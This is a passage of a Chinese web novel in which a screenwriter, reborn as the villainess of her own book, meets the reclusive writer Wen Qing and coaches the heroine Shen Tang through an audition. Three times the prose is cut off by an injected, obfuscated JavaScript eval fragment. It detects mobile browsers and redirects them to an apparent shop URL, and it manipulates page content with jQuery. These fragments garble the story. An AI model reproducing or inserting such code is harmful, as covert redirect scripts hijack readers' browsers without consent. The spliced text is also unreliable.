也许有一天她可以过上那样的生活。 但现在还不是时候。 现在她有一本书要改写,有一个女孩要捧红,有一个系统要应付,还有一个站在42层落地窗前的男人,他说每个人都在写自己的那一页。 那她苏芷柔的这一页,才刚刚翻开。 4. 知道自己最后的结局 温晴的邮箱回复在第三天晚上才来。 苏芷柔那三天过得不怎么好。 经纪公司的解约谈判比预想中顺利,陆司珩的法务团队效率惊人,第二天下午就把解约协议送到了她面前。 对方公司巴不得甩掉苏芷柔这个烫手山芋,连违约金都没怎么纠缠就签了字。 周曼抱着那份协议在公寓里哭了一场,说这是她跟了苏芷柔两年以来见过的最像样的一份文件。 但温晴那边始终没有动静。 苏芷柔把那封邮件反复修改了七八遍。 第一版写得太过正式,像商务合作函; 第三版又太过热情,像个狂热粉丝; 第五版她试图用博尔赫斯的诗句开头,写完自己看了一眼就删了,这么斯文太刻意了,像在炫耀她和陆司珩的对话。 最终版只有五行字: 温晴老师: 我叫苏芷柔,是个演员,我有一个故事想讲给您听,关于一个被写好结局的人,如何拒绝那个结局。 如果您愿意给我三十分钟,任何时间、任何地点,我都会准时出现。 期待您的邀约~ 她把邮件发出去之后,每隔半小时就刷新一次收件箱。 第一天没有回复…… 第二天依旧没有…… 第三天上午没有…… 她开始怀疑那个邮箱地址是不是陆司珩随手写的假地址,那个男人完全干得出这种事。 然后第三天晚上十一点四十二分,手机震动了一下。 发件人:WenQing 正文只有一行: 明天下午两点,东四北大街462号,后院,过期不候。 没有称呼,没有落款,没有一个多余的字。 苏芷柔盯着那行字看了很久,然后打开地图搜索这个地址。 定位显示那是一家开在东四胡同里的独立书店,名字叫“未名”。 她给周曼发了条消息:“明天下午去见温晴。” 周曼秒回:“我去???大编剧???你竟然真的约到了???” 然后又一条:“你穿什么?” 苏芷柔低头看了看自己从衣柜里刨出来的那套黑西装,她这几天已经把它穿了三次了。 苏芷柔从前的衣服不是亮片就是蕾丝,唯一能穿出门的只有这套,以及一件皱巴巴的白衬衫。 “黑色那套。”她回复。 “不行!!!”周曼连发三个感叹号:“根本就没有好好做功课,你不知道温晴最讨厌黑色!她采访里说过,说黑色是‘没有想象力的颜色’!” 苏芷柔愣了一下。 她写原著的时候给温晴这个角色做过人设业内顶尖编剧,性格孤僻,不喜社交,审美刁钻。 她不记得自己写过“讨厌黑色”这种细节。 “你怎么知道的?” “她的专访啊,《人物》杂志去年那期,你忘了?你还是因为她才想去演《深渊》的!” 穿来的苏芷柔当然不知道。 这是原主苏芷柔的记忆,不是她的。 她穿过来的时候只继承了部分剧情相关的记忆碎片,很多日常细节是空白的。 “那你觉得我应该穿什么?” 周曼发来一个链接,是一家设计师品牌的线上店,点开是一件雾蓝色的衬衫,面料是那种带着细微褶皱的棉麻,领口设计得很特别,是不对称的,像是被一阵风吹歪了之后定格的样子。 “这件,温晴专访里穿的也是这个设计师的衣服。” 苏芷柔看了一眼价格,又看了一眼苏芷柔银行卡的余额,沉默了三秒,她咬咬牙: “我买!” 为见一个人花掉半个月的生活费,这种事她上辈子当编剧的时候从来没干过,但现在不一样了。 现在她是苏芷柔,一个全网黑评、没有经纪公司、银行卡余额岌岌可危的十八线艺人。 而她要见的人是温晴《深渊》的编剧,也是唯一能让她在这个故事里站稳脚跟的人,说不定她还是改变自己结局的唯一变数。 花半个月生活费买一件衬衫,是赌注。 赌温晴会喜欢它。 赌她们两个会合作愉快。 东四北大街462号比苏芷柔想象中更难找。 那条胡同窄得只容两个人并肩,两边是灰砖老墙,墙上爬满了藤蔓,初夏的叶子绿得发黑。 她穿着那件雾蓝色的衬衫,外面套了一件白色的薄西装,也是周曼帮她挑的,说是“压住蓝色的飘忽感”。 高跟鞋踩在青石板上发出清脆的声响,在安静的胡同里格外清晰。 462号是一扇墨绿色的木门,门上没有招牌,只有一个黄铜门牌,数字被岁月磨得几乎看不清了。 门半掩着,里面隐约传出风铃的声音。 苏芷柔推门进去,是一个院子,大概二十平米见方,青砖铺地,墙根种着一棵石榴树,树干歪歪扭扭地伸向天空,枝叶间已经结了青色的果子。 院子里摆着三四张铁艺桌椅,桌上散落着几本书,书页被风吹得轻轻翻动。 一只橘猫趴在最里面的那张桌子上,眯着眼睛晒太阳。 有一个人坐在橘猫旁边,正在看书。 那是个女人,四十岁左右,干练的短发,鬓角处有一缕白发。 她穿着一件宽松的亚麻长衫,颜色介于灰色和绿色之间,像雨后石板上的青苔。 她脸上没有化妆,眼角有细密的纹路,嘴唇微微抿着,看起来不太好接近。 她手里那本书,苏芷柔认出了封面,深蓝色的布纹,是博尔赫斯诗选的同一个版本。 “温晴老师。”苏芷柔站在院子中间,没有贸然靠近,只是试探性的开口说。 女人抬起头,目光从书页上移到苏芷柔脸上,那目光很淡,像冬天的日光亮但不暖。 “苏小姐,你迟到了两分钟。” 苏芷柔低头看了一眼手机,时间14:02 “胡同比地图上看起来长。”她说。 温晴没有回应这句话。 她的目光从苏芷柔的脸上移到那件雾蓝色的衬衫上,停留了两秒,然后移开。 “坐。” 苏芷柔在她对面的铁艺椅子上坐下来,椅子被太阳晒得微微发烫,透过裤子传上来一种奇异的安心感。 那只橘猫睁开一只眼睛看了她一眼,又闭上了。 “你说你有一个故事要讲给我听。”温晴把书合上,放在桌上,手指交叠在膝盖上:“请讲给我听吧。” 没有寒暄,没有铺垫,没有“喝点什么”。 苏芷柔深吸一口气。 “您果然很直白,这个故事是这样的:曾经有一位非常出名的作者,有人花高价定制一本专属于她的小说,并且发布于网络上。书里有一个恶毒女配,她的全部功能就是陷害女主、被男主打脸、反复循环,直到结局被送进精神病院被大火烧死。然后……” 温晴的表情看似没有变化,但打断了苏芷柔的后面话语: “然后这个作者穿进了自己写的书里,变成了那个恶毒女配。” 苏芷柔停顿了一下。 “她发现那些她随手写下的恶意,全部变成了真实的人生,泼咖啡是真的,被骂上热搜是真的,深夜一个人蜷在公寓地板上哭也是真的。而最可怕的是,她知道自己最后的结局是什么,因为那是她亲手写的。” 橘猫的尾巴轻轻扫过桌面。 “所以她想改。”苏芷柔有些着急说:“不是改掉恶毒女配的结局,是改掉整个故事的写法。让那个被欺负的女孩不用再被欺负,让那些狗血的桥段不再发生,让这个世界的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485713|201990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 运行规则从‘谁更恶毒谁就赢’变成别的什么东西。” 她看着温晴的眼睛。 “这就是我想讲的故事。” 院子里安静了很久。 风穿过石榴树的叶子,发出细碎的声响。远处胡同里有人骑着自行车经过,铃铛响了两声。 橘猫翻了个身,露出白色的肚皮。 温晴端起了桌上的茶杯,那杯茶大概是苏芷柔来之前就泡好的,现在已经凉透了。 她喝了一口凉茶,放下杯子。 “你这个故事有一个问题。” 苏芷柔的心微微提起:“什么问题?” “恶毒女配想改命,这个设定不新鲜,新鲜的是,你说:她是作者本人。”温晴的目光变得锐利起来,像从冬天的日光变成了早春的薄冰:“那她改剧情的时候,是在用角色的身份改,还是在用作者的身份改?” 苏芷柔愣住了,很明显这个问题她没有想过。 她一直在本能地做两件事: 一、作为苏芷柔,避开原剧情中的陷害行为; 二、作为作者苏芷柔,在文档里修改后续章节。 但她从来没有认真想过这两重身份之间的关系。 “如果是用角色的身份改,”温晴的声音不快不慢,像是在课堂上提问:“那她和其他穿书文的逆袭女主没有区别。如果她用作者的身份改……” 她停顿了一下。 “那她就是在跟上帝抢笔。” 苏芷柔的后背爬上一层细密的凉意。 “而跟上帝抢笔的人,”温晴端起凉茶又喝了一口:“通常要付出代价的。” “你怎么知道这些?”苏芷柔的声音有点干涩:“我说的不是你怎么知道故事的走向?我是说,你怎么会问出这个问题?” 温晴看着她,忽然笑了一下,那个笑容很淡,像石榴树叶间漏下的一小片阳光,转瞬即逝。 “因为我也是一个作者。”她说:“而每一个编剧,都曾经想过穿进自己的故事里。” 她站起来,拿起桌上的博尔赫斯诗选,转身往屋里走去。 苏芷柔以为会面结束了,心里涌起一股巨大的失落,她甚至还没来得及提沈棠和《深渊》。 但温晴走到门口时停下来,回头看了她一眼。 “你这个故事,我感兴趣……” 苏芷柔的心脏猛地跳了一下。 “但不是因为你讲得好。”温晴的语气仍然很淡:“是因为你穿了一件雾蓝色的衬衫。” 她低头看了一眼自己身上的亚麻长衫。 “这件衬衫的设计师,是我前妻。” 说完她走进了屋里。 墨绿色的门在她身后合上,风铃轻轻响了一声。 院子里只剩下苏芷柔、那只橘猫,和满树青色的石榴果。 苏芷柔坐在铁艺椅子上,很久没有动。 温晴最后那句话的信息量太大了。 前妻?设计师? 专访里穿的同一个品牌? 这些细节在原著的温晴人设里全都没有。 她写温晴的时候只写了她“业内顶尖编剧,性格孤僻,不喜社交”,从来没有交代过她的私生活。 但在这一刻,温晴不再是纸面上的几行字了。 她有了前妻,有了喜欢的颜色,有了一只趴在院子里晒太阳的橘猫,有了一扇墨绿色的门和门上被岁月磨损的黄铜门牌。 她变成了一个活生生的人。 苏芷柔忽然意识到一件事。 她一直在担心自己写的文字会怎样影响这个世界。 但她从来没有想过,那些她没有写的部分,那些留白的、一笔带过的、只存在于人设大纲里的角色,他们是如何把自己补充完整的? 是这个世界有自己的意志,还是……有别的什么…… 5. 造物主是要对这个世界负责的 她的手机震动了一下。 是一封新邮件。 发件人:WenQing 正文: 沈棠的资料我看过了《深渊》女主,让她后天来试镜。试给导演看,我只负责写剧本,不负责选角,但我会在现场。另外你的故事,如果写到第三幕遇到困难,可以再来找我。 ——温晴 苏芷柔把这段话看了三遍,然后她仰起头,石榴树的叶子在她头顶沙沙作响,青色的果实在阳光下微微透明。 第三幕,温晴说的是剧本结构的术语,一部标准的三幕剧,第三幕是结局,是所有冲突的解决,是主角完成蜕变的时刻。 她的故事还没有写到第三幕。 但温晴已经替她想到了那里。 或许温晴真的能帮她很大的忙。 苏芷柔离开未名书店的时候,在门口遇见了周曼。 她蹲在胡同对面的墙根下,手里举着一杯奶茶,脸上带着一种“我什么都没问但我什么都想知道”的表情。 “你怎么来了?” “我怕你被大编剧吃了。”周曼站起来,把另一杯奶茶递给她:“温晴在业内的外号是‘编剧界的灭绝师太’,你不知道吗?去年有个一线女明星想演她的戏,带着礼物登门拜访,被她用一句‘你演不了我的角色’堵在门口站了四十分钟。” 苏芷柔接过奶茶,插上吸管喝了一口。珍珠煮得刚好,软糯弹牙。 她忽然觉得这杯奶茶好喝得想哭,她已经有三天没好好吃一顿饭了。 “她没让我站门口。”苏芷柔说:“她让我坐在院子里,还问了我一个问题。” “什么问题?” “她问我,改剧情的时候,是用角色的身份改,还是用作者的身份改。” 周曼吸了一口奶茶,眉头皱起来:“这有什么区别吗?” 苏芷柔没有回答,她知道这个问题没有人能替她解答,唯一的答案就是自己。 她走在胡同里,阳光从老槐树的枝叶间筛下来,落在青石板路面上变成一地碎金。 温晴的问题像一颗小石子投进她的心里,涟漪一圈一圈地荡开。 作为苏芷柔改命,和作为作者苏芷柔改命,确实是不一样的。 苏芷柔是故事里的人。 她的反抗、她的选择、她拒绝泼咖啡的那个瞬间,都是角色在既定框架内的挣扎。 这种挣扎再激烈,也只是让恶毒女配变成了一个有弧光的恶毒女配,就像温晴说的,和其他穿书逆袭文没有本质区别。 但如果她是作者呢? 如果她承认自己就是创造了这个世界的编剧,那么每一次修改文档,都不是角色的反抗,而是造物主在修改自己的造物。 而造物主是要对这个世界负责的。 她想起自己当初写《星光予你》的时候,为了流量和点击,随手往故事里塞了多少恶意。 苏芷柔的恶毒,沈棠的隐忍,网友的辱骂,热搜的狂欢,她写这些的时候从未犹豫过,因为对她来说那只是一串文字,一串能换来收藏和评论的文字。 但现在那些文字都变成了真实的人生。 苏芷柔被骂上热搜的时候会哭。 沈棠在片场被欺负的时候会害怕。 而陆司珩…… 她停了一下。 陆司珩呢?她在写陆司珩的时候,也只是按照“冷漠矜贵的资本大佬”这个模板在填。 他为什么喜欢博尔赫斯?他手腕上那块深蓝色的表是谁送的?他站在42层落地窗前俯瞰北京城的时候,心里在想什么? 这些她全都没有写,因为一个用来和女主谈恋爱的男主,不需要这些。 但现在他站在她面前了,会提前七分钟等她,会在她临走时说“下次直接上来”,会念博尔赫斯的诗给她听,念完以后把书合上,眼睛里有一瞬间她没读懂的东西。 他也是她写的。 但她从来没有真正“写”过他。 “小曼。”苏芷柔忽然停下脚步。 周曼差点撞到她背上:“怎么了?” “如果一个作者穿进自己的书里,那书里的角色还是她创造的吗?” 周曼眨了眨眼睛,奶茶吸管咬在嘴里,想了很久。 “我觉得吧,”她慢吞吞地说:“你妈生了你,但你是你妈创造的吗?” 苏芷柔看着她。 “你是你妈生的,但你不是你妈写的剧本。你会长成什么样、喜欢什么人、做什么选择,这些是你自己的事。”周曼把喝完的奶茶杯扔进路边的垃圾桶,擦了擦手:“你妈最多给你一个开头。后面的你得自己写。” 苏芷柔站在胡同口,初夏的风穿过整条巷子吹过来,把她雾蓝色衬衫的领口吹得微微扬起。 周曼说得对。 她给了这些角色一个开头,苏芷柔的恶毒,沈棠的善良,陆司珩的冷漠。 但那个开头之后,他们活成了什么样子,也许早就不在她的控制范围内了。 就像温晴。 她只写了“业内顶尖编剧,性格孤僻”,但温晴自己长出了前妻、橘猫、墨绿色的门和讨厌黑色的审美。 也许她从来就不是这个世界的上帝。 她只是一个开了头的人。 后面的部分,所有人都在自己写。 包括她自己。 苏芷柔从口袋里掏出手机,打开那个名为《星光予你》的文档。 第31章“谈判”已经完成了,页面末尾的光标一闪一闪地等着她。 她想了一下,开始打字: 【第32章】 【苏芷柔从东四北大街462号走出来的时候,忽然明白了三件事。】 【第一,温晴会帮沈棠,不是因为陆司珩的面子,也不是因为苏芷柔那件雾蓝色的衬衫,虽然衬衫确实起了作用,而是因为温晴在沈棠的表演片段里,看到了某种她一直在找的东西,那种东西,她称之为“未被磨损的干净”。】 【第二,她自己正在变成一个她从未写过的角色,不是恶毒女配,也不是穿书编剧,而是一个夹在两者之间、每天都在做选择的人。选择不泼咖啡,选择去见陆司珩,选择花半个月生活费买一件衬衫,她的这些选择累积起来,正在慢慢改变她的形状。】 【第三……】 苏芷柔的手指悬在屏幕上方。 她想起温晴的问题:你改剧情的时候,是在用角色的身份改,还是在用作者的身份改? 她想起周曼的话:你妈最多给你一个开头,后面的你得自己写。 她想起陆司珩站在落地窗前念博尔赫斯的样子。 那本诗选的封面是深蓝色的,和他腕上的表盘是同一个颜色。 她在键盘上敲下去: 【第三,陆司珩今天戴的不是那块深蓝色的表,换了一块银白色的。】 【她不知道这意味着什么,但她决定下次见面的时候问他。】 她按下保存。 文档亮起金色的光,光芒比前几次都要微弱,像蜡烛将熄未熄时的最后一下跳动,然后缓缓融入空气中。 系统提示音没有响起。 苏芷柔等了一会儿,仍然没有。 她刷新了几次,系统界面显示的女配值仍然是85,没有任何变化。 她改写了剧情,但系统没有给她加分。 这意味着什么? 她把手机放回口袋,抬头看向胡同尽头的大街。 车流人声从远处涌来,像另一个世界的潮水。 周曼走在她前面,正回头催她快点,说晚上还要去给沈棠送试镜的剧本。 苏芷柔应了一声,跟上去。 系统的事,明天再想想办法。 今晚,她有一个女孩的试镜要准备。 当天晚上十一点,苏芷柔的公寓。 沈棠坐在苏芷柔的床上,手里拿着《深渊》的试戏剧本,整个人像一根绷紧的弦。 “我不行。”她说了第四遍:“温晴的戏,我不行。” 苏芷柔盘腿坐在地板上,面前摊着一堆打印出来的角色分析资料:“你行。” “我没有演过女主。” “每个人第一次演女主之前,都没演过女主。” “温晴的戏要求很高,我听说她会在试镜现场改台词,让演员即兴发挥……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485714|201990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“那正好。”苏芷柔抬起头看她:“即兴发挥是你的强项。” 沈棠愣了一下:“你怎么知道?” 苏芷柔当然知道。 因为在原著第47章,沈棠有一场被歹徒劫持的即兴戏,导演喊了卡之后全场沉默了三秒,然后集体鼓掌。 那场戏是她写的,不,准确地说,她写了那个场景,但沈棠的即兴台词不是她写的。 她当时偷懒,只写了“沈棠的即兴发挥震撼全场”一行字,具体台词留白了。 后来那行留白被读者评为全书最佳段落,所有人都说“作者留白的手法很高级”。 只有苏芷柔知道那不是留白,是她写不出来,一个没有体验过这种生活的作者,是写不出来那种文字的。 “我就是知道。”苏芷柔说:“你有一种能力,在镜头前面变成另外一个人,不是演,是成为,要感受。” 沈棠低下头,手指攥紧了剧本的边缘。 她的指甲剪得很短,边缘不太整齐,像是自己用牙齿咬的。 “苏芷柔,”她的声音很轻:“你最近变得好奇怪。” “怎么奇怪?” “以前你……不会这样跟我说话,不会坐在地板上帮我分析角色,不会说‘你行’。”沈棠抬起眼睛看她,目光里有一点小心翼翼的困惑:“你以前只会说,我不配演女一号。” 苏芷柔的心里被什么东西揪了一下。 那些台词也是她写的。 苏芷柔对沈棠说过的最多的话就是“你不配”不配演女主,不配被男主喜欢,不配拥有任何好东西。 她写这些台词的时候觉得理所当然,恶毒女配嘛,当然要全方位打压女主。 但现在沈棠坐在她面前,用那种受过伤但还没完全放弃希望的眼神看着她,问她为什么变了。 “我……”苏芷柔张了张嘴,发现任何解释都显得苍白,她总不能说自己是从现实世界穿过来的作者,更不能说沈棠只是她笔下的角色。 因为沈棠现在不是了。 沈棠坐在这里,会紧张,会咬指甲,会因为一句“你行”而眼眶微微发红。 “我做了一个梦。”苏芷柔说。 “什么梦?” “我梦见自己一直在按别人的剧本活着,那个剧本让我害你、骂你、抢你的东西,我演得很累,但我不敢不演,因为我怕不演了,我就没有戏份了。”苏芷柔的声音很轻,“然后我醒了,我决定罢演了。” 沈棠安静了很久。 窗外的城市在夜色中低低地轰鸣着,远处有救护车的鸣笛声划过去,又消失。 公寓的墙壁很薄,隔壁传来模糊的电视声。 “那个梦里,”沈棠忽然开口:“我的结局是什么?” 苏芷柔看着她。 “你拿到了你想要的角色,遇到了对你好的人,过完了自己选择的一生。” 她省略了中间所有的波折。 被下药、被网暴、被绑架、在雨中哭了一整夜,那些她写的时候觉得“虐得好爽”的情节,她现在一个字都不想提。 “那你的结局呢?”沈棠问。 苏芷柔想起原著的最后一章。 苏芷柔被送进精神病院,穿着束缚衣,对着空无一人的墙壁反复念叨台词,最后被不知名的火灾烧死,那是她写的结局,她当时觉得很解气,恶有恶报嘛。 “我的结局还没写。”她说。 沈棠看了她很久,然后她把剧本翻到第一页,深吸一口气。 “那你帮我练台词吧,从第一场开始。” 苏芷柔笑了,她拿起另一份剧本,清了清嗓子,念出剧中心理医生的第一句台词: “‘你觉得自己被困住了。但你有没有想过困住你的那个笼子,门一直是开着的?’” 沈棠接了下去。 两个女孩的声音在狭小的公寓里交错着,一个念心理医生,一个念病人。 台词像一条缓缓流动的河,从一个人嘴里流到另一个人嘴里。 窗外的城市沉入更深的夜色。 而文档里,第32章末尾的光标仍然一闪一闪地亮着,等待着下一个被键盘敲打下的字。 6. 碎过的玻璃,再拼回去以后,反而知道每一道…… 沈棠试镜那天,北京下了入夏以来的第一场暴雨。 苏芷柔站在盛世娱乐大厦门口,看着雨水从屋檐上倾泻成一道水帘,她撑着一把从周曼那儿借来的透明雨伞,另一只手拎着一个帆布袋子,里面装着沈棠的试镜资料、一瓶温水、一包纸巾,以及三颗她早上路过便利店时顺手买的草莓糖。 她也不知道为什么要买糖。 大概是昨晚沈棠练台词练到凌晨两点,嗓子有点哑,问她要不要喝水的时候,眼睛里带着一种很安静的倔强,像一只明明已经累极了、却还是不肯趴下的小动物。 这不禁让她想到了从前她经常喂流浪猫的样子,可这让她文里的女主变得更加鲜活了不是吗? “苏芷柔!” 突如其来的声音吓苏芷柔一跳。 周曼从出租车里钻出来,撑开一把黑色的伞,另一只手拽着沈棠。 沈棠今天穿了一件很简单的白衬衫,头发扎成低马尾,脸上几乎没化妆,只涂了一层薄薄的口红,整个人看起来干净得像一杯白开水,这简直就是天生丽质! 在苏芷柔看来,这恰恰是《深渊》女主需要的质感。 温晴的剧本她昨晚又读了一遍。 《深渊》的女主角叫林慎,是一个心理医生,表面温柔克制,内里却藏着一种被生活反复捶打后仍未折断的韧性。 剧本里有一句台词苏芷柔特别喜欢: “你问我为什么不崩溃?因为碎过的玻璃,再拼回去以后,反而知道每一道裂纹能承受多少力。” 沈棠身上有这种东西,那种没有被完全磨掉的、藏在柔软底下的硬度。 “紧张吗?”苏芷柔问。 沈棠点了点头,又摇了摇头。 “紧张,但不害怕。”她想了想,补了一句:“以前试镜都会害怕,怕自己不够好,怕导演不喜欢我,怕又被换掉,但今天……好像没那么怕了。” “为什么?” 沈棠看了苏芷柔一眼,嘴唇动了动,最后只说:“可能就是……觉得有人在帮我兜底。”她的嘴里小声嘟囔了一句什么话,虽然听不太清,但依旧能猜到大概意思:“…有你在我身旁…”…我感到很安心。 苏芷柔的心被轻轻撞了一下,不妄她如此扶持自己的女主宝宝! 苏芷柔把情绪压在心里,她把那颗草莓糖剥开,塞进沈棠手里:“先甜一下,等会儿进去,不管温晴问什么、让你演什么,你就记住一件事,这个角色就是你,不是谁让给你的,不是谁帮你抢的,是你沈棠,凭本事拿到的。自信一点,你天生就是当女主的料!” 沈棠攥着那颗糖,用力点了点头,她拉着周曼和苏芷柔往前走进大厦。 “沈棠,你就是最棒的。”她们两个人的手拉在一起,苏芷柔紧张地给沈棠打气。 试镜地点在盛世娱乐大厦17层的小剧场。 苏芷柔她们到的时候,走廊里已经坐了七八个女孩。 打眼一看,清一色的白衬衫、淡妆、长发,像是从同一个模具里倒出来的。 苏芷柔认出了其中两张脸,都是原著里提过的名字,一个是正当红的95小花,一个是科班出身的新人王。 竞争比想象中激烈。 周曼凑到苏芷柔耳边,压低声音:“最左边那个,是星耀传媒今年力捧的新人叫许栀,听说《深渊》导演之前跟她合作过。” 苏芷柔顺着她的目光看过去。 许栀坐在走廊尽头的椅子上,正在闭目养神,五官精致,气质清冷,确实有几分林慎的感觉。但她闭着眼睛的样子太完美了,完美到像一尊精心摆放的瓷器,让人不敢碰,可这样又不像林慎了。 苏芷柔忽然想起温晴说的那句话:“沈棠身上有某种‘未被磨损的干净’。” 她当时没完全理解,现在看着这一走廊精致而紧张的女孩们,她忽然懂了。 温晴所说的“未被磨损的干净”不是不谙世事的天真,而是被生活反复冲刷之后,依然没有把自己包裹起来的那种敞亮。 沈棠会紧张到咬指甲,会在练台词的时候忘词然后懊恼地捶自己大腿,会在拿到一颗草莓糖的时候眼睛亮一下,正是这些“不够完美”的瞬间,恰恰是她身上最珍贵的东西,是很多人穷尽一生所要追求的东西。 试镜室的门口挂着一块黑色的帘子,里面偶尔传出几句台词声,但隔着帘子和门,听不太清。 每进去一个人,走廊里的空气就紧一分。 许栀进去了大约二十分钟。出来的时候表情平静,看不出结果好坏。 她路过沈棠身边时停了一下,目光在沈棠脸上扫过,什么都没说,踩着高跟鞋走了。 苏芷柔刚想说,许栀没礼貌,沈棠轻轻拉了拉她的衣袖,表示这没什么。 “十九号,沈棠。” 工作人员掀开帘子的时候,苏芷柔飞快地握了一下沈棠的手。 沈棠的手指凉得惊人,但回握的那一下很有力。 帘子落下来,隔断了视线。 周曼和苏芷柔并肩靠在走廊的墙上,谁都没说话。 雨水敲打着走廊尽头的窗户,发出密集而单调的声响。 周曼开始咬奶茶吸管,她不知道什么时候又点了一杯奶茶。 苏芷柔盯着自己帆布袋上印的那只猫发呆,那是周曼的袋子,上面印着一只胖橘猫,表情很拽,底下配了一行字:“看什么看,没见过可爱吗?”她轻声笑起来,这很符合周曼。 等到周曼喝奶茶把自己喝一身的时候,帘子掀开了。 沈棠走出来,脸上有一种很奇怪的平静。 “怎么样?”周曼第一个冲上去:“怎么哭了?” 沈棠没说话,先伸出手,手心里躺着那颗草莓糖,已经被攥得微微发热,糖纸皱巴巴的。 “我演完了。”她用略带哭腔的嗓音说:“温晴老师让我把这颗糖吃掉。” 苏芷柔愣住了:“就……这样?” “就这……”沈棠的话没说完,帘子又被掀开了。 一个戴黑框眼镜的年轻女人探出头来,苏芷柔认得她,是温晴的助理,那天在未名书店见过一面。 “苏芷柔老师,”助理看着她:“温晴老师请您也进去。” 试镜室里比苏芷柔想象的要空,准确的来说就是毛坯房简单挂了几块幕布。 没有网上一排正襟危坐的评委,没有刺眼的灯光,只有一台小的摄像机记录着这里所发生的一切。 只有三把椅子,一张小方桌,桌上放着一杯咖啡,和一本倒扣的书深蓝色布纹封面,博尔赫斯诗选。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485715|201990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温晴坐在中间那把椅子上,还是那件亚麻长衫,今天换成了深褐色。 她的短发被雨水打湿了一点,鬓角那缕白色贴在耳后,显得更加醒目。 旁边坐着两个人: 一个是四十多岁的中年男人,戴着鸭舌帽,应该是《深渊》的导演;另一个苏芷柔认识,是盛世娱乐艺人经纪部的总监,姓陈。 “坐。”温晴指了指对面那把椅子。 苏芷柔坐下来,椅面还残留着上一个人坐过的余温。 温晴看了她几秒,然后开口了。 “刚才我给沈棠加了一场即兴戏。” 苏芷柔的心提了起来。 “剧本里没有这场戏。”温晴的声音不快不慢:“我让她演林慎第一次去见心理医生,不是作为医生,是作为病人。我给了她一句开头:‘我不知道从什么时候开始,我把自己弄丢了。’后面全是她的即兴。” 苏芷柔攥紧了帆布袋的带子。 “她演了四分半钟。”温晴端起桌上的茶杯,发现茶凉了,又放下:“四分半钟里,她没有说一句台词。” 没有说台词?难道是演哑巴?可苏芷柔也不敢多说什么,害怕自己的每一句言语会引发蝴蝶效应。 “她坐在那把椅子上,最开始是双手放在膝盖上,坐得很端正,像所有第一次看心理医生的人一样。然后她的右手开始无意识地转左手的手腕,那里什么都没有,但她的动作像是在转一只表。”温晴的目光落在苏芷柔脸上:“转了大约三十秒,她停下来。把左手腕举到眼前,看了很久,笑了一下,不是开心的笑,是那种……‘原来已经丢了这么久’的笑。” 苏芷柔的后背爬上一层细密的鸡皮疙瘩,原来沈棠早就有对剧本的理解,她实属是瞎操心了,不过说到这,她心里也有底了。 “她把左手放回膝盖,右手盖上去,十指交叉,握紧。抬起头,看向我身后的那扇窗。窗外什么都没有,只有雨,她看着雨,眼眶慢慢地红了,但眼泪一直在眼眶打转一直没有掉下来,直到我说卡,她的眼泪才掉下来。” 温晴停下来,端起凉茶喝了一口。 “四分半钟,没有一句台词,但我在她眼睛里看见了林慎的前半生。” 试镜室里安静了很久。 导演摘下鸭舌帽,挠了挠头发,用一种难以置信的语气开口:“我之前跟许栀合作过,她的技术没有任何问题,台词、走位、情绪控制,都是教科书级别的。但你那个艺人……”他看了陈总监一眼:“她不像是演的,她是变成那个人了,后生可畏啊!” 陈总监没说话,表情很复杂。 温晴站起来,走到窗边,雨水顺着玻璃往下淌,把外面的城市扭曲成一幅流动的抽象画。 “苏芷柔。”她背对着所有人:“你之前跟我说,你是一个编剧,穿进了自己写的书里。” 导演和陈总监同时看向苏芷柔,眼神里的意思很明确:这人在说什么? 但温晴没有理会他们的目光。 “如果你是这本书的作者,”她转过身,看着苏芷柔:“那你告诉我,沈棠今天这场即兴戏,是你写的吗?” 苏芷柔张了张嘴。 不是?我应该没把温晴写这么聪明吧,她总是半蒙半猜说出事件的真相,这不是最强大脑啊! 7. 为了那些让我得以成为自己的缓慢而黑暗的转…… 她写的《星光予你》里,沈棠从来没有看过心理医生,她甚至从来没有写过沈棠的内心戏,因为写内心戏太累了,还要代入沈棠视角,在曾经的自己看来一篇爽文完全没有必要如此用心。 她写沈棠被欺负、写沈棠哭、写沈棠被男主拯救,原书中沈棠就是一个需要被人拯救的小白花女主,但她从来没有写过沈棠独自坐在一把椅子上,面对自己丢失的那部分灵魂。 那不是她写的,那是沈棠自己长出来的。 现在的情节有点不一样了。 “怎么会?”苏芷柔说,声音比她预想中要平静:“也许一开始我动过这样的想法,但如果一个如此生动的灵魂会因为我的改写而轻而易举地放弃自己的人格魅力的话,我绝对不会这样做。” 温晴看着她,慢慢地点了一下头。 “那就对了。” 她走回桌前,拿起那本博尔赫斯诗选,翻开到某一页。 苏芷柔认出那一页,是陆司珩那天在办公室念过的那首。 